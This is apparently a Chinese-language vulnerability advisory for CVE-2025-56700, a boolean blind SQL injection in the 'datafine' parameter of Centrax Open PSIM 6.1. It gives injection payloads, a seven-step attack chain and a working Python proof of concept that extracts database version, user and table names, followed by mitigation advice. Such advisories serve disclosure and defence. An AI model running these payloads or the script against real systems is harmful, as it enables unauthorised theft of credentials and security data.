IPBUF安全漏洞报告
English
CVE-2025-56700 CVSS 5.4 中危

CVE-2025-56700:Centrax Open PSIM 6.1 SQL注入漏洞

披露日期: 2025-10-16

漏洞信息

漏洞编号
CVE-2025-56700
漏洞类型
SQL注入(布尔型盲注)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Base Digitale Group spa Centrax Open PSIM

相关标签

SQL注入布尔盲注CVE-2025-56700Centrax Open PSIMBase Digitale GroupPSIM物理安防Web应用安全中危漏洞CVSS 5.4

漏洞概述

CVE-2025-56700是Base Digitale Group spa公司旗下Centrax Open PSIM(Physical Security Information Management,物理安防信息管理平台)产品Web应用中存在的布尔型SQL注入漏洞。该漏洞影响Centrax Open PSIM 6.1版本,允许拥有平台低权限访问权限的认证用户通过构造特定的`datafine`参数值,向后端数据库注入恶意的SQL命令,从而执行任意SQL查询。

Centrax Open PSIM是一款综合性的物理安全管理解决方案,用于集成和管理视频监控、门禁控制、入侵检测等多种安防子系统。该平台通常部署在企业级安防环境中,处理大量敏感的安防数据和配置信息。因此,一旦平台存在SQL注入漏洞,攻击者可能通过该漏洞读取数据库中的敏感信息,如用户凭证、安防配置、摄像头录像元数据等。

该漏洞的CVSS 3.1评分为5.4分,属于中危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),但需要低权限认证(PR:L),无需用户交互(UI:N)。对机密性和完整性有低影响(C:L/I:L),对可用性无影响(A:N)。虽然漏洞利用需要一定的认证条件,但由于Centrax Open PSIM通常部署在企业内网中,且平台用户多为安防管理人员,攻击者可能通过钓鱼、社会工程学或利用其他漏洞获取低权限账户后,利用此漏洞进一步提升权限或窃取敏感数据。

该漏洞已于2025年10月16日公开披露,发现者为[email protected]。安全研究员Mario Tesoro在其GitHub仓库中发布了相关的漏洞研究信息。

技术细节

该漏洞属于经典的布尔型SQL盲注(Boolean-based Blind SQL Injection)漏洞,存在于Centrax Open PSIM 6.1版本Web应用程序中。具体技术细节如下:

**漏洞原理**:
Web应用程序在处理用户请求时,未对`datafine`参数进行充分的输入验证和参数化处理。攻击者可以在`datafine`参数中注入精心构造的SQL片段,由于该参数的值会被直接拼接到SQL查询语句中,导致恶意SQL代码被执行。

**利用方式**:
由于是布尔型盲注,应用程序不会直接返回数据库查询结果,而是根据SQL条件的真假返回不同的页面响应(如正常页面或错误页面)。攻击者可以通过观察页面响应的差异,逐步推断数据库中的数据内容。

典型的布尔盲注Payload格式如下:
- 正常请求:`datafine=2025-01-01`
- 注入测试:`datafine=2025-01-01' AND 1=1-- -`(页面正常显示)
- 注入测试:`datafine=2025-01-01' AND 1=2-- -`(页面异常显示)

通过上述差异,攻击者可以确认注入点存在后,进一步利用以下技术提取数据:
1. 使用`SUBSTRING()`函数逐字符提取数据
2. 使用`ASCII()`函数将字符转为ASCII码进行比较
3. 使用二分查找法加速数据提取过程
4. 利用`UNION SELECT`尝试联合查询获取更多数据

**利用条件**:
攻击者需要拥有Centrax Open PSIM平台的低权限认证账户,通常这类账户是安防操作员或查看者角色。由于PR:L(低权限要求),普通用户即可发起攻击。

攻击链分析

STEP 1
步骤1:获取低权限账户
攻击者通过钓鱼攻击、社会工程学、利用其他已泄露凭证或暴力破解等方式,获取Centrax Open PSIM平台的低权限认证账户(如安防操作员或查看者角色)。
STEP 2
步骤2:登录平台
使用获取的低权限账户登录Centrax Open PSIM Web应用,建立有效的会话认证。
STEP 3
步骤3:识别注入点
在包含`datafine`参数的请求接口中,尝试注入简单的SQL测试payload(如单引号、AND 1=1、AND 1=2),通过观察页面响应的差异确认SQL注入漏洞的存在。
STEP 4
步骤4:确认布尔盲注
通过对比正常条件(AND 1=1)和假条件(AND 1=2)的页面响应长度或内容差异,确认漏洞为布尔型盲注类型。
STEP 5
步骤5:提取数据库信息
利用SUBSTRING()、ASCII()等函数配合二分查找算法,逐字符提取数据库版本、当前用户、数据库名、表名、列名等元数据信息。
STEP 6
步骤6:窃取敏感数据
获取数据库表结构后,提取用户凭证表、安防配置表、摄像头录像索引表等敏感数据,可能包含管理员密码哈希、安防系统配置等。
STEP 7
步骤7:进一步渗透
利用获取的管理员凭证或数据库权限,尝试提升权限至管理员级别,或利用数据库特性(如MySQL的UDF、xp_cmdshell等)执行系统命令,实现更深层次的渗透。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-56700 - Centrax Open PSIM 6.1 Boolean SQL Injection PoC # Vulnerability: Boolean-based Blind SQL Injection via 'datafine' parameter # Author: Security Research based on CVE-2025-56700 import requests import sys TARGET_URL = "https://target-centrax-psim.example.com" LOGIN_URL = f"{TARGET_URL}/login" VULN_URL = f"{TARGET_URL}/api/search" # Adjust endpoint accordingly USERNAME = "low_priv_user" PASSWORD = "password123" INJECTION_PARAM = "datafine" def authenticate(session): """Authenticate to Centrax Open PSIM with low-privilege credentials""" login_data = { "username": USERNAME, "password": PASSWORD } resp = session.post(LOGIN_URL, data=login_data, verify=False) if resp.status_code == 200: print("[+] Authentication successful") return True print("[-] Authentication failed") return False def test_injection(session): """Test for Boolean-based Blind SQL Injection""" # Normal request - baseline normal_payload = {"datafine": "2025-01-01"} normal_resp = session.post(VULN_URL, data=normal_payload, verify=False) normal_len = len(normal_resp.text) # True condition injection true_payload = {"datafine": "2025-01-01' AND 1=1-- -"} true_resp = session.post(VULN_URL, data=true_payload, verify=False) true_len = len(true_resp.text) # False condition injection false_payload = {"datafine": "2025-01-01' AND 1=2-- -"} false_resp = session.post(VULN_URL, data=false_payload, verify=False) false_len = len(false_resp.text) if true_len == normal_len and false_len != normal_len: print("[+] Boolean-based Blind SQL Injection confirmed!") return True print("[-] Injection not detected") return False def extract_data(session, query, max_len=50): """Extract data character by character using binary search""" result = "" for pos in range(1, max_len + 1): low, high = 32, 126 while low <= high: mid = (low + high) // 2 # Binary search for ASCII value of character at position 'pos' payload = { "datafine": f"2025-01-01' AND ASCII(SUBSTRING(({query}),{pos},1))>{mid}-- -" } resp = session.post(VULN_URL, data=payload, verify=False) if len(resp.text) == len(session.post(VULN_URL, data={"datafine": "2025-01-01"}, verify=False).text): low = mid + 1 else: high = mid - 1 if low > 126: break result += chr(low) sys.stdout.write(chr(low)) sys.stdout.flush() print(f"\n[+] Extracted: {result}") return result if __name__ == "__main__": session = requests.Session() if authenticate(session) and test_injection(session): # Extract database version print("[*] Extracting database version...") extract_data(session, "SELECT @@version") # Extract current user print("[*] Extracting current user...") extract_data(session, "SELECT user()") # Extract table names print("[*] Extracting table names...") extract_data(session, "SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()")

影响范围

Base Digitale Group spa Centrax Open PSIM 6.1

防御指南

临时缓解措施
在等待厂商发布官方补丁之前,建议采取以下临时缓解措施:1)限制Centrax Open PSIM平台的访问范围,仅允许可信IP地址通过VPN或内网访问;2)对Web应用前端部署WAF规则,拦截包含SQL关键字(如UNION、SELECT、SUBSTRING、ASCII等)的异常请求;3)审查所有低权限账户,禁用不必要的账户并强制重置所有用户密码;4)监控数据库日志,关注来自应用服务器的异常查询请求;5)考虑在数据库层面禁用危险的SQL函数和功能;6)将平台部署在独立的网络分段中,限制其与其他系统的网络连通性。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表